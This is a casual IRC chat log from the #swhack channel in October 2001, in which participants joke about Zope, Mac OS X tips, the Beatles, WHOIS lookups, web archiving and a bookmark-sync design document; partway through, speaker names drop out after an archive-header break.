I forgot to say we keep all your data in Venice. It's the most beautiful city in the world. There's no better place to keep all your data. It's perfectly safe with all those canals, and we stow it carefully in gondolas whenever we move it around. We have a beautiful storage facility. " 17:49:15 <AaronSw> - http://treedragon.com/vex/shellgame.htm 17:53:04 <AaronSw> Poe: "Of course you know my service is technically superior in every way, especially in buzzword compliance. You haven't even started using XML to integrate your content systems, whereas I'm already positioned to give ultimatums to several world governments. You should see (pinky to mouth) my volcano fortress. " 17:53:11 <AaronSw> - http://treedragon.com/vex/imac.htm 18:00:22 <AaronSw> Vex: "Heh, but you forgot one thing. I'm also filing patents left and right as fast as I can put up legal fences across the landscape. So you losers will walk a minefield the whole way, with me suing you for license fees you can't afford. Maybe I'll let you sharecroppers keep some of the harvest. Hah! Man, I love the law when it works so well in my favor. " 18:00:25 <AaronSw> - http://treedragon.com/vex/microcosm.htm 18:05:37 <AaronSw> AaronSw has changed the topic to: Perhaps Dr. Watson was off by four. 18:10:48 <AaronSw> * AaronSw wants to strangle whomever invented copy and paste as a paradigm for moving objects 19:06:59 <sbp> sbp has joined #swhack 19:07:56 <sbp> Hi 19:08:23 <sbp> yeah, nine computers in the world would have been closer 19:08:27 <sbp> I know, I know... 19:08:32 <AaronSw> * AaronSw smacks sbp 19:08:56 <AaronSw> * AaronSw is trying to learn Zope today. 19:09:15 <sbp> poor you 19:09:25 <AaronSw> Heh heh. 19:09:25 <sbp> I started to learn Tkinter 19:09:31 <AaronSw> poor you. 19:09:42 <AaronSw> How's it coming? 19:10:27 <sbp> I gave up quickly: until I can think of an app that I can be bothered to develop 19:10:34 <AaronSw> heh 19:10:39 <AaronSw> It's a bit funny that your picture is in bookstores around the world but not on your website. 19:10:48 <sbp> yeah, 'tis a bit 19:11:24 <AaronSw> It's also a little weird to imagine thousands of copies of youf face being distributed across the world. 19:12:12 <sbp> yes, it is a little bit 19:12:18 <sbp> tens of thousands 19:12:36 <AaronSw> My face has never received such high distribution 19:16:28 <Morbus> what does 'lart' specifically mean? 19:16:38 <AaronSw> .webster lart 19:16:55 <AaronSw> .define lart 19:17:12 <sbp> .google lart 19:17:13 <xena> lart: http://www.lart.tudelft.nl 19:17:18 <AaronSw> LART // Luser Attitude Readjustment Tool. 1. n. In the 19:17:19 <AaronSw> collective mythos of scary devil monastery, this is an essential item 19:17:19 <AaronSw> in the toolkit of every BOFH. 19:17:33 <AaronSw> The LART classic is a 2x4 or other large 19:17:34 <AaronSw> billet of wood usable as a club, to be applied upside the head of spammers 19:17:34 <AaronSw> and other people who cause sysadmins more grief than just naturally 19:17:34 <AaronSw> goes with the job. Perennial debates rage on alt.sysadmin.recovery over 19:17:34 <AaronSw> what constitutes the truly effective LART; knobkerries, semiautomatic 19:17:34 <AaronSw> weapons, flamethrowers, and tactical nukes all have their partisans. 19:17:36 <AaronSw> Compare clue-by-four. 19:17:40 <Morbus> ah. 19:17:43 <Morbus> thanks :) 19:17:48 <sbp> [[[ 19:17:49 <sbp> The LART is a small yet powerful embedded computer capable of running Linux. 19:17:50 <sbp> ]]] 19:21:07 <sbp> imagine the triples you could process with this: http://slashdot.org/article.pl?sid=01/10/08/156237&mode=thread 19:22:04 <AaronSw> heheheh 19:22:08 <Morbus> who cares about processors? when will software get better? 19:22:19 <Morbus> or worst yet, use these transisitors? 19:23:39 <sbp> hey, you're a software writer. Don't ask me 19:24:00 <Morbus> uh. you are too, arent; you? 19:25:06 <sbp> are not I? perhaps 19:25:22 <sbp> I haven't written any serious apps, though 19:25:22 <Morbus> god, this reminds me of a classic trek episodd. 19:25:31 <sbp> Trouble With Tribbles? 19:25:41 <sbp> are you calling Aaron a tribble? 19:25:49 <Morbus> nope, the one ... in the dark? something like that. 19:25:54 <Morbus> had the silicon globules 19:25:57 <Morbus> and the lava monster. 19:28:09 <sbp> sbp has quit 19:35:32 <sbp> sbp has joined #swhack 19:37:10 <sbp> so, how does your garden grow? 19:37:17 <sbp> rain/sunlight? 19:37:27 <AaronSw> That always help. 19:37:45 <AaronSw> err helps 19:37:55 <sbp> * sbp starts using singular "they" regularly 19:39:13 <Morbus> did they tell you to do that? 19:39:33 <sbp> who? 19:39:39 <Morbus> you know, they. 19:39:45 <sbp> oh, them. Yeah 19:39:53 <Morbus> bastards. 19:39:53 <sbp> no, they didn't 19:40:27 <sbp> * sbp doesn't contradict himself, but he always does 19:41:16 <AaronSw> Oh, OK then. 19:45:40 <AaronSw> Heheh: 19:45:59 <AaronSw> "OK, it is bad to do an unlimited except, but in this case, likelihood is client is pounding on the submit button like a wild monkey" -- some Zope code 19:46:12 <Morbus> heh 19:47:11 <sbp> lol 19:58:51 <sbp> sbp has quit 20:06:04 <sbp> sbp has joined #swhack 20:07:03 <Morbus> Morbus has left #swhack 20:08:04 <AaronSw> Pat Hayes: "To hell with the DPH. If he can't parse a nested bracket structure, then he doesn't deserve the outrageous salary he is probably earning; tell him to take up gardening instead." 20:08:11 <AaronSw> DPH = Desparate Perl Hacker 20:09:45 <sbp> lol! 20:11:20 <AaronSw> Hmm... "Nakakoji View" 20:52:56 <sbp> sbp has quit 21:01:32 <Morbus> Morbus has joined #swhack 21:13:29 <rillian> rillian has joined #swhack 21:16:33 <Morbus> http://dailynews.yahoo.com/h/p/nm/20011021/en/imdf21102001090718a.html 21:17:09 <AaronSw> Morbus, do you know how to enable the crash log on 10.1? 21:17:14 <Morbus> nope. 21:17:23 <Morbus> i know it runs continuoulys, but not how to generate 21:18:17 <AaronSw> huh? 21:18:35 <AaronSw> Heheh: "the only member of the endangered species in the world able to dunk a basketball, go down a slide and drive a car." 21:18:42 <Morbus> hehehe. 21:19:39 <Morbus> i just wonder when it's gonna learn how to poach humans. you know, to save the species. 21:20:14 <AaronSw> Right. 21:21:41 <AaronSw> Ahh, it's in Console.app's prefs 21:22:16 <Morbus> oh? 21:22:24 <Morbus> weird palce. 21:22:33 <AaronSw> yeah 21:22:48 <AaronSw> I guess beta testers were annoyed there was no gui 21:25:54 <Morbus> http://massinova.com/macosx-menu.html 21:25:57 <Morbus> dammit. i want to make one. 21:27:00 <AaronSw> Ooh, cool! 21:27:04 <Morbus> yeah. 21:43:29 <Morbus> yay! http://www.macosxhints.com/article.php?story=20010927011840284 21:43:56 <Morbus> damn thing is slow. 21:45:57 <rillian> nice that you can change it 21:46:11 <rillian> of course next scrollbars are the On True Way 21:46:11 <Morbus> indeed. i've been looking for that for aw hile 21:46:12 <AaronSw> Oh, rillian... I didn't see you come in. 21:46:19 <Morbus> neither did i, actually ;) 21:46:35 <rillian> * rillian has irc_stealth 21:46:44 <AaronSw> :-) 21:46:45 <AaronSw> Thanks Morbus, that rocks 21:46:53 <rillian> Morbus: can you also move the scrollbar to the other side? 21:47:44 <Morbus> i don't think so. i've never seen that in any os 21:48:10 <rillian> nextstep has it on the left 21:48:36 <rillian> and of course you can make a lot of *nix do that 21:49:01 <Morbus> i'm still waiting for a built in desktop randomizer ;) 21:49:07 <Morbus> like they had in 9 21:49:13 <AaronSw> They took that out, awww 21:49:20 <Morbus> yeah :( 21:49:20 <AaronSw> I'm using TiGutz for my desktop now, btw 21:49:32 <Morbus> i'ms till using the one you saw with snapperhead 21:49:54 <rillian> probably works too 21:50:00 <rillian> oops 21:50:07 <rillian> antistealth 21:52:28 <Morbus> good: http://www.tijsseling.com/professional/xtipstop.html 21:52:30 <Morbus> Morbus has left #swhack 21:52:43 <Morbus> Morbus has joined #swhack 21:54:52 <Morbus> Morbus has quit 21:58:28 <sbp> sbp has joined #swhack 22:00:09 <AaronSw> Steve Jobs: "And teachers will be at the epicenter of this. Anyone who believes differently has never had a good teacher. I would trade all of my technology for an afternoon with Socrates." 22:00:32 <AaronSw> - This Week's Newsweek 22:01:04 <AaronSw> Steve: "The medium of our times is video and photography,..." 22:05:52 <AaronSw> -- 22:06:11 <AaronSw> Paranoid Android: "I may be paranoid but no android." 22:07:05 <sbp> Hi! How am I? I was sent a file in order to have my advice. I deleted the file 22:07:31 <AaronSw> Heheheh. 22:07:40 <AaronSw> I've been getting those too today. 22:08:34 <sbp> they seem to have started to spring up again 22:15:05 <Morbus> Morbus has joined #swhack 22:16:05 <sbp> Hi Morby 22:16:14 <Morbus> hey sbippy 22:16:47 <Morbus> i feel sick. too much fudge 22:16:49 <AaronSw> Wow, 10 people -- I think that's a new record 22:16:57 <sbp> yeah! 22:21:29 <rillian> a new channel is born! 22:22:00 <sbp> pfffff, we've been going for months 22:22:14 <Morbus> and pffff is our shout of derision, our call to arms. 22:22:19 <Morbus> do well to learn the might pffff. 22:22:40 <rillian> pffff, learn to type :) 22:24:12 <AaronSw> :-) 22:29:18 <sbp> sbp has quit 22:37:39 <AaronSw> Peter Patel-Schneider: "[We'll soon have] programs that produce my abstract syntax structures from arbitrary XML. Voila, no more need for an RDF parser!" 22:44:06 <Morbus> http://www.linuks.mine.nu/porn-get/ 22:44:16 <AaronSw> Oh dear, that again... 22:45:00 <Morbus> yeah, i know. i thought it was old. 22:54:56 <Morbus> Morbus has quit 23:05:37 <sbp> sbp has joined #swhack 23:06:10 <AaronSw> * AaronSw starves off a nother disk space scare by finding 500MB IE cache to delete 23:07:33 <AaronSw> I need to find someplace to use this logo: http://rdfweb.org/people/damian/2001/10/RDFAuthor/images/logo.jpg 23:08:55 <AaronSw> Disk space seems to be somewhat better under control: 23:09:01 <AaronSw> /dev/disk0s5 19639008 18110992 1528016 92% / 23:09:11 <sbp> heh:- 23:09:12 <sbp> [[[ 23:09:13 <sbp> 22:46:54 <SethR> dan, all i can do these days is point click, draw and drag 23:09:13 <sbp> 22:47:13 <AaronSw> and send email ;) 23:09:13 <sbp> 22:47:29 <SethR> that is a click 23:09:14 <sbp> ]]] 23:09:29 <AaronSw> * AaronSw wonders what app SethR uses... 23:11:31 <rillian> would should sell a one-click software development suite 23:11:44 <rillian> with a somewhat restrictive license agreement 23:14:07 <AaronSw> Heheh. 23:18:11 <sbp> sbp has quit 23:25:34 <AaronSw> Heheh, the intro to Rocky Racoon on the Anthology is quite funny. 23:46:54 <sbp> sbp has joined #swhack 23:47:36 <AaronSw> * AaronSw switches CDs... 23:48:25 <sbp> * sbp is playing Revolver 23:48:37 <AaronSw> * AaronSw is playing Anthology 3 part 2 23:48:38 <sbp> "Got To Get You Into My Life" 23:48:48 <AaronSw> "I've Got A Feelin'" 23:49:00 <sbp> "Tomorrow Never Knows" 23:49:23 <sbp> * sbp can play "I've Got A Feelin'" on the guitar 23:49:36 <AaronSw> The intro to Rocky Racoon earlier wise quite funny. 23:49:51 <sbp> * sbp wants Anthology 3 23:50:13 <sbp> Activity on SWAG! 23:50:41 <sbp> but it's pretty much the same as the last few months: a CC from Seth, a reply from William... 23:50:52 <sbp> "here and there" 23:51:06 <AaronSw> "She Came In Through The Bathroom Window" 23:51:23 <sbp> originally, "Her Majesty" was part of the medley 23:51:35 <AaronSw> Oh? Hmm... 23:51:41 <AaronSw> They scoop a lot less in this version. 23:51:52 <AaronSw> And it's much slower. 23:52:10 <sbp> Gotta run 23:52:13 <sbp> sbp has quit ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������2001-10-23.txt��������������������������������������������������������������������������������������0100644�0000143�0000000�00000142671�07365367656�011721� 0����������������������������������������������������������������������������������������������������ustar �nobody��������������������������root�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������00:01:04 <Morbus> Morbus has joined #swhack 00:01:22 <Morbus> work work work all day long 00:02:15 <AaronSw> work work work work work! 00:02:15 <sbp> sbp has joined #swhack 00:02:33 <sbp> Damn you! 00:02:43 <Morbus> heh. 00:02:45 <sbp> I've been singing "She Came In Through The Bathroom Window" for about the last ten minutes 00:02:46 <Morbus> i want admin istead. 00:02:54 <sbp> and now I have to play it... 00:02:58 <Morbus> well, you could always sing this is the song that never ends. 00:03:05 <AaronSw> mwahaha 00:03:08 <Morbus> cos, you know, it goes on and on (my friends). 00:03:13 <sbp> In fact, I've gotta play the whole medley now 00:03:15 <AaronSw> admin? 00:03:23 <sbp> Can't only play one song in the medley! It 00:03:24 <Morbus> ops. whatever. i dunno. 00:03:30 <sbp> it's an offence 00:03:41 <sbp> that's all you're worth 00:03:43 <Morbus> oOOh. i'm green. 00:03:53 <sbp> with envy? 00:04:01 <Morbus> apparently, yah ;) 00:04:05 <Morbus> what the hell does voice do, anyways? 00:04:10 <sbp> "Polythene Pam" 00:04:16 <AaronSw> In moderated channels you can talk if you're voiced 00:04:16 <sbp> it voices you 00:04:19 <sbp> in moderated channels 00:04:27 <Morbus> ah 00:05:25 <sbp> aha: "She Came In Through The Bathroom Window" 00:05:37 <AaronSw> ehm? 00:05:48 <sbp> is now playing... 00:06:25 <AaronSw> I've been singing that song for days... 00:07:10 <Morbus> powerpuff fm seems to be done. 00:07:12 <Morbus> down, rather 00:10:09 <AaronSw> bah doo bah doo doo do bah doo do bah doo doo doo. Hit it, Morbus! 00:10:23 <AaronSw> Rock on! 00:10:31 <AaronSw> Sing it, sbp! 00:10:56 <sbp> pah doofy doo flap. Smeg pop be doobiliy wop de skibby doo smah 00:11:30 <Morbus> wha? i'm supposed to sing? dammit, did i miss my queue? 00:11:36 <Morbus> diamonds in the sky with elvis! 00:11:42 <sbp> no, you were supposed to "hit it" 00:11:45 <AaronSw> No, I think it was a cue that you missed. 00:12:00 <sbp> to what that pertains, I have no idea. A drum? 00:12:07 <Morbus> man, when computer terms take over ;) 00:12:16 <Morbus> i can beat it like a bongo, fanboy. 00:12:24 <sbp> manboy?! 00:12:27 <sbp> oh, fanboy 00:12:35 <sbp> carry on 00:12:35 <Morbus> got exicted there for a sec, eh? 00:12:36 <AaronSw> And every night Morbus hits the stack too, I bet. 00:12:40 <Morbus> pft. 00:12:54 <sbp> I would have had to fulfill my duties and throw you out, sah! 00:13:02 <Morbus> just figured out a way to make the syncasaurus code easier. 00:13:05 <sbp> or fullfil. Whatever works for you 00:13:15 <Morbus> i have 320 movies. whoo. 00:13:23 <sbp> any good ones? 00:13:51 <Morbus> bwahah. nope :) ... individually, my movies suck. collectively, it's the coolest collection of bad horror mvovies you'll never want to see :) 00:16:24 <AaronSw> heheh 00:16:30 <AaronSw> Just like you. 00:16:34 <Morbus> :) 00:16:55 <AaronSw> Is there a LART stick you can hit BOFHs with? 00:17:03 <sbp> what, that individually he sucks, but if there were like ten of him, he'd be cool? 00:17:18 <sbp> s/he'd/they'd/ 00:17:21 <AaronSw> Err, no... I meant that he's into collections of freaky sucky stuff. 00:17:37 <sbp> ah, just *like* you 00:17:47 <Morbus> freaky sucky stuff? well, jeez... 00:18:20 <sbp> I should send you a picture of my hair through the post 00:18:28 <sbp> then again, it's not much worse than yours 00:18:40 <AaronSw> no offense to morbus 00:18:52 <sbp> oh, of course not, dear fellow 00:21:49 <AaronSw> Here's a picture of me right before I got it my hair cut: 00:21:49 <AaronSw> http://blogspace.com/pictures/photo-view?photo_id=6282 00:22:51 <sbp> sign on a nudist beach: keep off the groins 00:24:53 <AaronSw> What's in the upper left of http://swordfish.rdfweb.org/photos/2001/08/21/000729.JPG ? 00:25:11 <sbp> I hope you know that you're an utter arsehole 00:25:29 <sbp> it's a box for a PC steering wheel 00:25:39 <AaronSw> "thought she was a woman, but she was another man" 00:25:49 <AaronSw> beatles just sung that 00:25:49 <AaronSw> why am I an utter arsehole? 00:25:56 <sbp> "all the girls around her said she's got it coming" 00:26:02 <sbp> "but she gets it while she can" 00:26:08 <Morbus> hey, when i finish this revised design doc, can you guys read it over? 00:26:18 <sbp> sure 00:26:48 <AaronSw> "You been playing on the roofs again, and you know your mommy doesn't like that!" 00:28:15 <sbp> An arguement is a lot more than a series of childish contradictions, y'know 00:28:38 <sbp> no it isn't 00:29:02 <sbp> "and now for 5 more minutes of Monty Python" 00:29:58 <sbp> * sbp wonders where everybody went 00:30:08 <AaronSw> This is a great picture of Sean B. Palmer and Dan Brickley: http://swordfish.rdfweb.org/photos/2001/08/21/000713.JPG 00:30:13 <AaronSw> Better catalog that in RDF. 00:30:21 <sbp> oh, fuckin' hell 00:30:44 <sbp> I really should have had a shave... oh well 00:31:11 <sbp> Dan was reeeeealy out of it 00:31:12 <AaronSw> Danbri from the deep: http://swordfish.rdfweb.org/photos/2001/08/21/000712.JPG 00:31:35 <AaronSw> Sean B. Palmer hides from shame: http://swordfish.rdfweb.org/photos/2001/08/21/000715.JPG 00:31:53 <AaronSw> Thought bubble: "Oh shoot, this is going to be on the Web, isn't it." 00:32:28 <sbp> * sbp hits Aaron with a ski pole 00:32:36 <AaronSw> Ow. 00:33:17 <sbp> mimicking some Snoopy cartoon 00:33:37 <sbp> aha: http://www.snoopy.com/comics/peanuts/archive/peanuts-20011017.html 00:34:45 <AaronSw> Heheh, that's a funny cartoon. 00:36:07 <sbp> oh 00:36:30 <sbp> yes, it is funny 00:39:42 <tav> j,z 00:41:36 <AaronSw> Wow, XSL finally came out. 00:42:01 <sbp> yeah, days ago 00:51:46 <AaronSw> For the record my HTTP archive currently takes up 2.0GB 00:52:10 <sbp> 2GB! No wonder you're running out of disc space 00:52:10 <AaronSw> The site that takes up the most space is www.w3.org 00:52:20 <sbp> suprise suprise, eh? 00:52:40 <AaronSw> My MP3s only take up 956MB 00:52:57 <sbp> surprise surprise, even 00:53:21 <AaronSw> heheh 00:53:33 <sbp> Hmm... quite small for someone who seems to have *everything* on MP3 00:53:51 <AaronSw> everything? 00:53:54 <AaronSw> just all Beatles songs. 00:54:12 <deltab> me has all beatles songs too 00:54:19 <sbp> I have the albums 00:54:29 <sbp> better quality 00:54:53 <sbp> * sbp bows 00:55:15 <AaronSw> You have all of them? 00:55:30 <sbp> actually, I confess: I'm missing some of the early ones 00:56:43 <sbp> need... more... money 00:57:46 <AaronSw> Ooh, "The End" on the Anthology is much more rich. 00:57:47 <AaronSw> I like it better. 00:58:14 <sbp> much more rich? i.e. much richer? 00:58:49 <sbp> * sbp shud go into profreeding 00:59:09 <sbp> * sbp should actually just shut up 01:00:42 <sbp> what is that guy sniffing: http://www.audiogalaxy.com/today? 01:00:48 <AaronSw> heheh 01:02:25 <Morbus> man, this new runtime logic for sync is a lot easier 01:02:38 <sbp> how does it work? 01:03:03 <Morbus> welp, to some degree, i was duplicating CVS by remembering both the additon and deletion of bookmarks. 01:03:04 <sbp> come on, tell us! You want to really 01:03:14 <Morbus> instead, i'm only remembering deletion of bookmarks, and that makes things so much easier 01:03:15 <AaronSw> LOL: http://www.newsforge.com/article.pl?sid=01/10/22/1636242&mode=thread 01:03:23 <Morbus> i'll be cvsing the new runtime logic in a few minutes,. 01:03:35 <sbp> ooh] 01:04:18 <sbp> Aaron, can you vouch for the reliability of Newsforge? 01:04:26 <AaronSw> No. 01:05:53 <AaronSw> tav, we need to buy television stations to explain to people why free downloads is not stealing. 01:06:05 <sbp> why don't you just steal them? 01:06:45 <AaronSw> Heheh. 01:07:00 <AaronSw> Still, it's pretty sad that they have to put out suck lying propaganda 01:07:14 <sbp> yeah! 01:07:55 <sbp> then again, all the while that $$$ is still the driving force of the world 01:08:12 <sbp> or rather, as long as people percieve it as being... 01:08:38 <Morbus> ok. 01:08:38 <Morbus> http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/~checkout~/syncasaurus/Syncasaurus/docs/design.htm?rev=1.11&content-type=text/html 01:08:50 <Morbus> that's the url for the latest design doc for syncsaurus. 01:08:58 <Morbus> anyone want to look at it? 01:09:05 <sbp> then again, I'm already quite rich compared to 95% of the World's population: maybe I should turn conservative, heh, heh 01:09:09 <AaronSw> Reader comments: "Disney's a bunch of whorebags. This isn't even propaganda, it's brainwashing regardless of the verity of the subject matter. Shame on the Nazis who make this drivel." 01:09:22 <AaronSw> - http://www.newsforge.com/comments.pl?sid=01/10/22/1636242&cid=18 01:09:48 <AaronSw> To quote DanC: "That's an extreme position on the issue.... one which I agree with, mind you." 01:10:37 <sbp> heh, heh: These are my Uber Bookmarks. I'm 'reet 01:11:57 <Morbus> uber bookmarks? 01:12:26 <sbp> ISO 8601: Aaron will argue with that 01:12:33 <Morbus> why? 01:12:36 <AaronSw> Huh? 01:12:41 <sbp> [[[ 01:12:42 <sbp> <title>Bookmarks for Morbus 01:12:42 These are my Uber Bookmarks. I'm 'reet. 01:12:43 ]]] 01:12:50 oh. bwahaha 01:12:52 it's W3C DTF, isn't it? 01:12:54 forgot about that. 01:13:52 too late now: it's in the logs, and Aaron's Mr. Archive-Everything-Forever-No-Matter-How-Crap 01:14:02 :) 01:14:05 :-) 01:14:16 .whois ezjackster.com 01:14:36 Registrant: 01:14:38 Disney Enterprises, Inc. (EZJACKSTER-DOM) 01:14:38 500 S. Buena Vista Street 01:14:38 Burbank, CA 91521 01:14:38 US 01:14:48 lol! 01:15:05 Record last updated on 25-Jan-2001. 01:15:05 Record expires on 25-Jan-2003. 01:15:06 Record created on 25-Jan-2001. 01:15:39 .whois aoltimewarneryahoo.com 01:15:46 .org/.net 01:16:28 ezjackster.net/org are available 01:17:45 Conspiracy? doing a whois on aoltimewarneryahoo.com comes up just blank -- it doesn't even say the domain is free. 01:17:56 yeah, I found that too 01:18:00 odd. on my box it shows up registered to aol 01:18:08 Hmm... this is odd 01:18:16 But they don't own Yahoo. 01:18:18 do they? 01:18:23 Domain Name: AOLTIMEWARNERYAHOO.COM 01:18:26 Registrar: AMERICA ONLINE, INC. DBA AOL AND/OR COMPUSERVE-AOL 01:18:26 Whois Server: whois.compuserve.com 01:18:26 Referral URL: http://domain.compuserve.com 01:18:26 Name Server: DNS-02.NS.AOL.COM 01:18:26 Name Server: DNS-01.NS.AOL.COM 01:18:26 Updated Date: 28-jul-2000 01:18:37 they don't. now, we should worry ;) 01:18:54 Ahh, it's because it's on compuserve, i bet 01:19:43 god, i can't believe the only newsgroup i ever liked is gone. sigh. 01:19:51 Which is that? 01:19:59 alt.binaries.pictures.movie-posters 01:21:16 Nekked Rain! 01:21:30 ballad of ira hayes 01:21:42 tav` has quit 01:21:42 tav has quit 01:22:01 tav` has joined #swhack 01:22:09 tav` has quit 01:22:52 tav has joined #swhack 01:22:57 *** tav` has quit IRC (Excess Flood)? 01:23:00 Hmm 01:23:16 one channel must have let go, huh? 01:24:03 NIke has done bad stuff too: http://www.adbusters.org/creativeresistance/36/1.html 01:25:49 [[[ 01:25:49 If Nike turns culture jamming into a corporate mindfuck at the expense of sweatshop laborers, then we, too, can shift tactics. 01:25:50 ]]] 01:29:13 http://www.adbusters.org/creativeresistance/jamgallery/street/ 01:31:28 [[[ 01:31:29 AT NIKE factories, the procedure to take menstrual leave (a legal right) requires women to pull down their pants + show blood to the clinic staff. 01:31:34 ]]] - http://www.s11.org/s11.html 01:31:46 you have to wonder about the world, don't you? 01:33:12 shame about the Website name now, eh? 01:33:36 Suppose so. 01:34:10 another day that will live in infamy 01:34:22 Morbus has quit 01:36:16 [[[ 01:36:16 Hours after a high-profile meeting of Pacific Rim leaders in Shanghai, China's rulers quietly restored long-standing blocks on the Web-sites of foreign news organizations including the CNN, the BBC, Reuters and The Washington Post. 01:36:22 ]]] - http://www.thehacktivist.com/ 01:38:21 interesting: http://www.thehacktivist.com/article.php?sid=128&mode=thread&order=0 01:40:33 oh, the story is out of date, or wrong 01:41:41 [[[ 01:41:44 The team has reached the projected strength and has gathered a sufficient amount of information to launch the second phase of the YIHAT operation, which is to monitor, infiltrate and take control of the information infrastructure used by or supporting terrorists. Therefore, the public web site, www.kill.net, is no longer needed and has been closed down effective immediately in order to prevent the dissemination of confidential information to those 01:41:51 ]]] - http://www.kill.net/ 01:42:37 Heh: 01:42:37 [[[ 01:42:38 Kimble.org is offering a reward of up to $10 million for information leading 01:42:39 directly to the apprehension or conviction of Usama Bin Laden. 01:42:41 reward@kimble.org 01:42:41 ]]] 01:42:45 - http://www.kimble.org/mostwanted.htm 01:43:06 I like the "up to" 01:55:12 well, I'd better be off 01:55:42 it's been fun chatting, as usual :-) 01:55:44 c'ya 01:55:47 sbp has quit 02:15:22 rillian has quit 02:17:39 * AaronSw wonders if rillian = http://www.advogato.org/person/rillian/ 02:17:48 Oops, just a minute too late! 02:53:05 "w00t!'. Works every time. True it's an independent clause, but really the best clauses are always independent. w00t." - http://www.thinkgeek.com/stuff/apparel/38e7.shtml 03:05:07 * AaronSw curses stupid ladybugs 03:46:45 BenSw|asleep is now known as BenSw 03:49:01 Cursed lady beatles!!!!!! 04:50:33 xena has quit 05:04:48 Sean might like this: http://www.alistapart.com/stories/emen/ 06:07:57 AaronSw has quit 06:07:57 tav has quit 06:08:54 BenSw has quit 06:09:11 tav has joined #swhack 06:17:54 GabeW has joined #swhack 06:17:56 GabeW has left #swhack 06:31:23 AaronSw has joined #swhack 06:33:25 BenSw has joined #swhack 08:22:27 tav has quit 11:24:05 AaronSw has quit 12:06:33 sbp has joined #swhack 12:06:49 LOL! @ validator EARL 12:06:51 I love the title 12:07:06 Gotta run 12:07:07 sbp has quit 12:23:16 AaronSw has joined #swhack 13:42:23 Not in the case of EARL - it isn't person readable, and only a few inhumans like me would try. 13:42:24 ;-) 13:42:24 Oh, Sean isn't here, so I can say that if I payAaron the hush-money ;-))) 13:42:25 Morbus has joined #swhack 14:02:23 Morbus has quit 14:18:43 tav has joined #swhack 14:31:08 tav` has joined #swhack 14:31:12 xena has joined #swhack 16:34:18 tav has quit 16:38:38 tav has joined #swhack 16:41:37 Ouch... I 16:41:46 I've been called a snotty spanker. 17:17:08 Wow, my email archive goes back to Feb 01, 1999 with a notification from Mind-it that "The Official Jazz Jackrabbit 2 Home Page" has changed (sent to my school account). 17:18:43 I have 2888 messages from 1999 17:24:31 Morbus has joined #swhack 17:24:47 lol. 17:24:49 aaron: publicly and rather snottily spanked by a kid who made an assumption 17:24:51 without bothering to answer the questio 17:25:04 Yeah, I loved that. 17:25:17 i just had to join the chat after that one. sheesh. 17:25:22 to be in the presence of your grandeur 17:25:30 :-) 17:25:44 I wonder what his problem is today. 17:26:13 dude, can i claim to be your father? 17:26:16 that'd be awesome. 17:26:21 lol 17:26:30 come on, please? just to confuse him 17:26:36 "Watch out..." "Why?" "My son is a snotty spanker!" 17:26:42 hehe. 17:27:09 ok. i'm gonna say "hey! that's my son you're talking about!" 17:27:17 Heheh, that'd be hilarious. 17:27:45 * tav` misses context 17:28:02 Someone on [syndication] said he was snotilly spanked by me. 17:28:17 not only by "me", but a "kid who made an assumption". 17:28:35 without bothering to answer the question 17:28:52 I'm so sorry for assuming things, I should work from truth tables instead, I suppose. 17:28:53 ah 17:30:13 heh.. 17:30:14 "using any of the 'blogify' 17:30:14 variants (graciously started by my son, btw)...". 17:30:22 lol 17:30:39 this is gonna be some funny shit 17:30:46 People would probably believe it! 17:30:52 They'd say, why didn't I see it before. 17:30:55 lol. 17:31:03 "No wonder that Morbus has a fetish for evil teletubbies." 17:31:03 you should reply saying "thanks dad" 17:31:46 sbp has joined #swhack 17:31:47 No, I'll say something that doesn't affirm or deny it like, "Morbus I wish you'd stop butting into all of my conversations!" 17:31:54 hehehehe. 17:31:59 yeah, that'd be good. 17:32:09 sbp, just in time! 17:32:12 Fruit flies like a banana 17:32:26 ooh, ambiguous English 17:32:34 hey, do you have a count on peerkat downloads? 17:33:05 aaron, do you have acount on peerkat dl's? 17:33:06 No, not reall - most are off of rael's personal server 17:33:10 ah. ok. 17:34:16 It probably spiked with the release of O'Reilly's new book, "The Tao of Peerkat" 17:34:25 and with the new major motion picture coming soon... 17:35:21 Get my email, sbp? 17:35:50 I'm still downloading email 17:36:08 OK, please respond yes without reading the message. 17:36:32 Err, to the question I ask you in the message 17:36:40 I' 17:36:45 I'd prefer to read it :-) 17:36:46 You know, why don't you just agree right now. 17:36:57 * sbp has a feeling that he's not going to 17:36:58 I don't think that'd be a very good idea. 17:37:05 hehehe 17:38:52 * sbp says "no" 17:38:57 No? 17:39:13 Since you're such a reasonable guy, I'm just going to assume you meant yes and forward it to www-archive. 17:39:19 well, if you say no, then aaron, i've got my leather pants on right now, so i'll volunteer. 17:39:23 but it's an intersting email. My vision of "Blogspace" back then was closer to your vision of dataplesh now 17:39:25 I said no 17:39:55 Sean is of course practicicing foreign languages again. 17:40:04 his fartician no means 'yes' in english 17:40:06 * sbp wondered how many he'd have to say "no" before Aaron "did it anyway" 17:40:27 why do you want to archive it? it is a private correspondance 17:40:35 it's classic. 17:40:48 i archive all my private correspondance 17:40:58 same here. 17:40:59 and i'm hoping to get a videocamera for IRL conversations 17:41:04 well, important crap, at least. 17:41:06 I better get a phone tab for my telephone 17:41:10 Indy Racing League? 17:41:10 err phone tap 17:41:13 majordomo commands i safely throw away ;) 17:41:15 In Real Life 17:41:38 I need one of those headcams they have on tv shows 17:41:45 but not so conspicuous 17:41:47 hehe. 17:42:05 of course i archive all http traffic now too 17:42:10 lol. 17:42:20 .google archiverproxy 17:42:22 archiverproxy: http://logicerror.com/archiverProxy 17:42:55 funny thing. 17:43:00 i was just talking about this with the tidbits people. 17:43:09 do you have any search mechanism to go with it? 17:43:57 Wow... 17:44:03 Hmm, well there's grep 17:44:11 and of course if you know the URL then it's easy 17:44:21 why does tidbits want it? 17:44:28 on your site, you mention some example url strucutres. do you have any that exist now i cn check oiut? 17:44:43 There's 2gb worh on my HD 17:44:47 it's just the URL name 17:44:51 welp, we were talking about syncasaurus, and he made metnion that he rarely uses bookmarks cos he visits so much per day - he'd rather have a search mechanism of where he's been. 17:44:59 Ah, I see. 17:45:10 so we started talking about searching browser cache, and he said "well, i have to make sure i can get back to that page". 17:45:11 i'm the same way, really 17:45:24 so far, the archiverProxy is perfect, it just needs a searcher. 17:45:38 well stick on lucene or some other indexer 17:45:42 or just use google 17:45:55 mmkay. you mind if i snip this chat in an email to him. 17:46:08 No problem. Tell him I said hi. :-) 17:46:22 